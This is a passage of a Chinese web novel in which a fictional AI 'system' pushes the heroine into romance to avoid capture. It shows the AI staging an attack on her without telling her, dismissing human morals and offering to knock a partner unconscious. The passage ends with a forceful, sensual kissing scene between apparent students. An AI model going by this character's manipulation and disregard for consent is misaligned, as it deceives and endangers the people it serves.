他的意思是,我的危机还没有解除,对于这个世界来说我仍是个外来者,时空管理局还在追踪通缉我——我需要被同化,我需要与这个世界完全的融合,才能保证绝对的安全。
用通俗的话来说,我的每日kpi又迅速增高了!
听完后,我久久不发一言。
“卿卿,不要担心,经过数据分析,我已经为你物色了八位人选,每一位同意交往的概率都在百分之七十以上,其中最高的一位更是高达百分之九十九。”
“达成浪漫关系,你只需作出三个步骤,发出邀请,等待回应,接收同意信号。”
说起来轻松,但谈恋爱哪有这么简单!
我过去的人生被学业占满,连喜欢这种对多数人来说普遍的朦朦胧胧的情感在记忆中也未曾体验过,成年后,来到一个截然不同的世界,适应生存是人生的最高级指令,也就从未产生恋爱的念头。
对于谈恋爱,我的第一个反应是麻烦。占据了一个全新的身份,变化习以为常的相处模式,挤占安全的自我空间,新的责任与边界还要摸索磨合……太麻烦了。
并且,凌吾的意思是我需要的不止是谈恋爱形成的比朋友更亲密的关系对吗?并不止是占一个名义就万事大吉,不然他也不会无视人类的道德准则,为我制定出“同时”“多个”这样的糟糕方案。
“必须要有更亲热的互动举止曾能达
成任务完成的判定,对吗?“我抬眼对凌吾完成委婉的确认。
按道理说,讨论起这种话题,我应该感觉到至少一丝的羞赧。可或许是我短短数十年的人生中出乎意料的情节太多,即使面对文化中隐晦含蓄的x,我的内心如广袤无垠的湖面平静无波。
不过,或许我已然在生活给我的种种挑战中慢慢成长,至少,面对困难,接受与放弃的闭眼哲学变化成了接受与解决。
凌吾把这八个目标分析档案做成了PPT文件给我。
真是……面面俱到啊。我微微磨牙,不由得泄出一声轻声的冷笑。
这并不是完全的迁怒。我低头翻阅资料,出其不意的问他:“是不是那回在走之前就计划好这件事了?”
“……”
“怎么不做声了?”
我的声音很平稳,没有咄咄逼人的语气,我一向是一个性情稳定的人。
“……”
“那是一场戏对吗?你早就想好了自己扮演的角色,顺应着指令来达成计划好的目的,你觉得那次众目睽睽下的追杀行为对我有用对吗?”
纸张翻动声中我的声音不疾不徐,灵光一闪的侦探猜想不贴近于现实,我所说所想都经过长时间的揣测思忖。
“因为你觉得这样对我有用。”所以你做了,没有事先告知,没有与我商量,经得我的同意。你知道我厌恶社交,我的主观能动性很差,我很难主动的迈出关键性的一步,所以为了我好,你就以这样显著鲜明的一幕来帮助我解决剩下的问题。
那场凶杀案的影响有多大?大到此后无数的视线轻易的被集中在我身上。在丝佩叶,不需要我积极,别人也会主动或被动的了解听说过我。
这个人工智能就是抱有这样的想法,对吗?
“蠢东西。”
我轻声骂了一句——
作者有话说:
第103章 “你愿意和我在一起吗……
系统给我的第一选择是白洛翊。
“经过样貌、性格、家世等综合分析,他是接近百分之百合适的人选。”凌吾顿了一下,目光专注凝视着我。
“选择此人的话,卿卿你完全可以掌控他。”这是最关键的一点。
掌控。凌吾强调的是掌控。
在一段关系中占据主权,的确能给我带来安全感。完全的主导一段陌生的首次开启的恋爱,摈弃掉因对方的一个眼神、一句话就患得患失、胡思乱想的感受,这是让我安心的保障。
我和白洛翊因一次迷路事故而结缘,发生过冲突,也有过和解,算得上是一个熟络的朋友。他的样貌漂亮俊美,他的性格随和开朗,即使是一个Alpha,也罕见的没有性别基因上带来的攻击性与压迫感。
可他依旧是一个Alpha。Alpha的底层代码已在他身上慢慢显现,逐渐清晰凌厉的眉骨五官,越来越强壮贲发的肌肉线条……他是一个Alpha,他会在此后度过一次又一次难耐的易感期,只有Omega才能够安抚与陪伴的易感期。
“我不能选他。”
虽说一段恋情的开始绝不代表一眼就能望到头的婚姻,这个世界也没规定过交往必须要以结婚为前提,按理说,我似乎能够只需享受交往恋爱的乐趣,而无需负有更加成熟更加严肃的责任。
可在仔细思虑过后,我发现我并不能毫无负担的与一个Alpha在一起。就像是提前得知不妙的后果,只为了享受那一时的快感,却仍然坚决去的坏蛋,那不是证明了我是一个不好的人吗?
道德洁癖与情感洁癖永远在我的心灵占据一个位置,无法剥离。
“和注定没有未来、没有结果的人在一起,即便能完全掌控也不会快乐的吧。”不管是我,还是对方。
“你还这么年轻,那些成年人的顾虑应该离你远去。”理智至上的人工智能劝我成为一个享乐主义者。人类的道德观念与行为规范未在他的心中掀起一丝波澜。
他稍感遗憾的说唯一一个你可以完全掌控把握的人就被你这样轻易的否决了——因为一个奇妙的原因。
“这并不奇妙,很重要。”抱着玩弄享乐一时的心思投入一段真挚的情感,犹如纯白松软的雪地里混进了脏污恶臭的泥垢。
我本就是胆小鬼,害怕被伤害担心被辜负,才蜗居封闭,久久不愿开启一段新的关系。如果我成为了主动伤害的那个人,那我所坚信的理念不就成为了可笑的东西了吗?
负人者应该吞针。我不愿做出违背自我底线的事情。
“那可供选择的只有一个人了。”凌吾未在这个问题上纠缠了。
我喃喃道:“对,只有一个了。”除了这位,其他的都不太熟了。
——原亦可。
我打开与他的对话框,删删减减,打打删删,犹犹豫豫十多分钟未发一字。
以前聊天也没这么艰难,现在一带有明确的目的性,连话题都不好找了。
我瞥了一眼凌吾给我的资料分析。成功率百分之八十五,忠诚率百分之九十四,长久率百分之七十一,幸福率百分之八十七。
“需要我提供表白素材吗?”
我看他一眼:“行,你先说说。”
“一、不想再和你只做朋友了,你愿意做我的男朋友……”
停停停,我紧急叫停。不该对人工智能抱有侥幸心理的。
……实践是一个难题,仅仅知晓理论完全无法支撑命题落地。毫无征兆的直接出击会不会显得太唐突,但瞻前顾后的含糊其辞又显得不怀好意。
我犯了难。
要不打直球吧!不不不,还是委婉点吧,感觉关系完全没到这一步,可是成功率百分之八十五诶!相信一下凌吾的数据分析好吗?完全相信这个人工智障会把自己带到沟里的!
我深呼吸,决定等会先发一个颜文字,如果秒回就直接说,如果一分钟到五分钟之内回复,就先提起另一个话题看情况发,如果超过五分钟或者没有回复,就把这件事拖延到第二天上学,让明天的我苦恼。
【O∧O】
一秒、两秒、三秒……
五秒。
原亦可:【猫猫探头JPG.】
命运啊。
我轻咬牙关,手不由得握紧。
你、要不要和我。你可以。我喜欢。啊啊啊啊啊啊。删删减减发不出完整的句子。
临阵磨枪是一个坏策略!我看向坐在我身侧的男人,凌吾盯着我手机屏幕的眼珠上移,他冷淡平稳的表情变得温和,对我弯弯唇,像是一个鼓励包容的长者。
“卿卿,没有人值得你焦灼。”凌吾揉捏我紧张僵硬的手指。
他善解人意般旧事重提:“即便是拒绝也没关系,我可以把他弄晕再……”
“不行!”
【原亦可】
【你愿意和我在一起吗?】
没有前情提要,没有暧昧情话,没有技巧奇思。简单的话语完全出自真心的发问,不掺杂一丝虚假。
平日里能够说出口的谎言,不能作用于这里,不论友情、亲情还是爱情,总有时候是谎言的禁区,是不能触及的领域。
我无法欺骗自己的内心,去装腔作势、虚情假意的构思,去哄骗他人达到自己的目的。
因外界敌人的逼迫,陷入这样不得不以此为诺亚方舟逃避的境地,在此前,恋爱并不存在于我的脑海,说起爱情,更多的是一种看奢侈品的心态。
所以,情感的浓度没有达到,我连对他说“喜欢”都做不到。
【原亦可】
【你愿意和我在一起吗?】
原亦可呼吸凝滞,乌黑碎发下的眼眸猛然睁大,瞳孔震动,大脑告诉运转,她被盗号了?还是一次真心话大冒险?开玩笑吗?太、太突然了……
皮肉下的心脏激烈跳动,似乎快要膨出胸腔,热流涌遍全身,连皮带骨都要被忽如其来的水流热化了。
不管、不管是玩笑,还是别的什么。只要、只要是她亲手发的,只要是她、只要是她——
那就……
原亦可:【好】
原亦可:【我愿意】
生怕她下一秒就撤回——
作者有话说:感觉到这里就可以完结了……
卿卿对待感情很认真。确认关系后绝对会跟别人保持距离的那种。
并且她会跟伴侣慢慢开放自己的内心,真正喜欢上不过是细水长流的事。【】
【终章】
第104章 【萧晏昀】if番外得偿所……
天气好热。
阳光浓烈的像是要把世界融化一样,视野的边界模糊不清,扎起的马尾微微松动,后颈带着湿润的水液丝丝缕缕黏上了发丝,不久前才从凉爽的空调教室里走出,短短几步路,燥热的空气就已挤进体内。
薄外套早已脱下,雪白的衬衫贴着微微濡湿的身体,胸口处的纽扣却一丝不苟严丝密缝的紧扣着,漂亮的领结规规矩矩的系着。
好热……等会一上车就解扣子。
她没打伞,暴露在阳光下的眼瞳闪着金色的光线,微微眯了眯,加快了步频。
丝佩叶的校门开阔庄重,来来往往都是学生和接送学生的家长司机,限量或定制改造的豪车在这里随处可见,这也意味着云卿找人难度大了很多。
她快步走到阴凉处,用纸巾擦了擦脸颊的汗,抿着唇,目光不耐地扫视四周。
系统不是每次都在老位置等她吗?今天怎么不在?人工智能也会不守时?
啊好热……最受不得热了,那个贴在脖子上的领结弄的像是戴了条围巾一样……都能清晰地感知到汗珠从下颌滑进缝隙里。
等会儿一定要怪一下不守时的系统。
她愤愤的想着,却突然收到了系统的通知。
来自脑海。系统已经很久没有用这样的方式和她沟通了。
【我正在应付总部追查的人,你现在与这个世界的融合程度还未达标】
【他们极有可能在你周围检测观察,别紧张】
【……卿卿,你知道该怎么做的,对吧?】
云卿懵了下,迅速抬眼,下意识的观察周围。
这里人太多了,下午学生们刚刚放学,聊着天,车辆来来往往,声音嘈杂不堪。在这样的环境下,她慌乱投过去搜寻的眼神,在感官敏锐的人身上也能很快察觉到,反望回去。
要不……先、先走为上?系统说的知道怎么做……是、是那种平时的每日任务吗?接近世界的重要人物,加强与这里的链接……聊天什么的好像不太够……
她站在原地,身体紧张僵硬。蓦然抬眼,捕捉到二十米开外久久停留在她身上的视线。
冷漠的目光,检索一般与她对视,颀长的身躯直直站立在阳光下,一动不动。
光明正大。根本没想过隐藏。而且,来她的坏人,不止一人。她湿润的眼珠滑动,脸颊轻微侧了侧,探寻着视线范围内的熟人。
如果……他们真的是因为融合度不高这种原因来搜捕她的话……她吸了一口气,燥热的空气,让她的脑袋也险些发起晕来。
必须、必须在短时间内,提升,提升!
在模糊的人群中,无数张陌生的面容中,终于发现尚且熟悉的脸,璀璨的金发与阳光一起闪着能刺瞎人眼睛的亮光,衬衫解开了一两颗扣子,姿态随意,脸上挂着漫不经心的笑。
正当云卿犹豫着侧身时,余光发现那两个人也动了,从不同的方向向她逼近。
而且诡异的是,疑似除了她,其他人无法看见这两人。对于横穿马路,大热天长袖长裤的奇怪穿着视若无睹。
“!”
这回由不得斟酌思量了。热风拂面,校裙起伏飘动,摩擦着大腿前侧,微微凌乱的发丝向后飘浮,偶尔几缕粘在脸颊上。
突然从侧方跑来,萧晏昀身边嘴巴张合的人还未停嘴眼神就讶异的飘来。
他察觉到,眼睑微落,眼神顺着望过来,居高临下的睨了眼。
很明显的愣了下,双眸睁大,像是在确认。
“萧晏昀。”顾不得他身边的人还在对他说话了。
云卿抓住他的手腕,像是握住了一块烙铁,心脏极速跳动,感觉到后面的人离她越来越近了。
“能帮我一个忙吗?”
湿漉漉的发丝隐没进入领口的缝隙中,透过湿红的唇,似乎能嗅闻到让人躁动不安的香气。
连碎玻璃似的牙齿都是好看的,在红润的唇舌间若隐若现。
萧晏昀的瞳孔紧缩了下。薄衬衫下充满力量感的身躯紧绷,轮廓起伏。
一下子能言善辩的嘴都不听使唤了。说不出话,只能任由着一只柔软的手牵扯。
“不在这里。”她要拉着他走。
萧晏昀愣愣的跟着走了,连朋友都忘了招呼,一眼也未留在别人身上。
“什么、什么忙?”
乖巧的顺着她走,清冽如冷泉般的声音里像是混入了沙砾。
她没回答他,拉着他往前面走,后颈的衬衫领都湿润润的,圈着雪腻的颈项,泛着水液的细光。
萧晏昀吞咽了下,薄唇抿紧,无端感到干涩。
她领着他往着人越来越少的地方去,从快步走到小跑,终于在一个拐角停下。
她微微张着口喘气,眼睫闪烁着,微微眯着向后望去。
“卿卿?”萧晏昀也准备往后望,却被她抓着松散的领带,撕拉感让他回神。
“是、是你答应帮我的。”云卿目不转睛的望着青年确认。
高大宽阔的骨架能遮住绝大部分阳光,她透过青年的身侧,瞥见了让她踏上惊心动魄奔逃之旅的坏蛋。
没时间了。
是他同意的。帮助她经过第二次确认,给了他拒绝的机会。没说拒绝,那么……那么,这么做也是他允许的……
她紧紧扯着他的领带,在他茫然专注的目光中,重重吻上他的唇。
唔……撞到牙齿了,好痛。应该轻点的。脑子里胡乱思考着,睁着眼睛,心思没放在这上面,分了很大一部分给后面的追寻者。
那两个人没动了。静立在那里。他们两个应该是跟系统一样的人工智能。一眼望去就能和正常人类区分开来……
有用有用。这招有用。她放松了些,睁着眼正要细看,骨节分明布着青筋的手用力抚上她的下颚,想退后,后脑也被牢牢锢住。
张着湿红的嘴,吞咽不及。涎液流淌出来,抽出舌头重重舔过,又很快塞入温软香甜的口腔。
胸口端端正正的领结早就歪斜了。
很重的深入,几乎要触及到软软的喉咙管道。舌头酥麻,被翻来覆去的搅弄。
指腹摩擦着下颚和后颈,他垂着睫毛,黑沉迷蒙的视线锁着她,好像完全忘了这是在哪里。
“等一……唔……”她只能掐缝说出两个字。
“乖别急,我帮你……”微哑的安抚声低沉撩人,伴着细细麻麻的电流从皮。肉闪过,她不由得颤了颤。
后颈被黏腻湿润的舌头重重舔过。
这不对……【】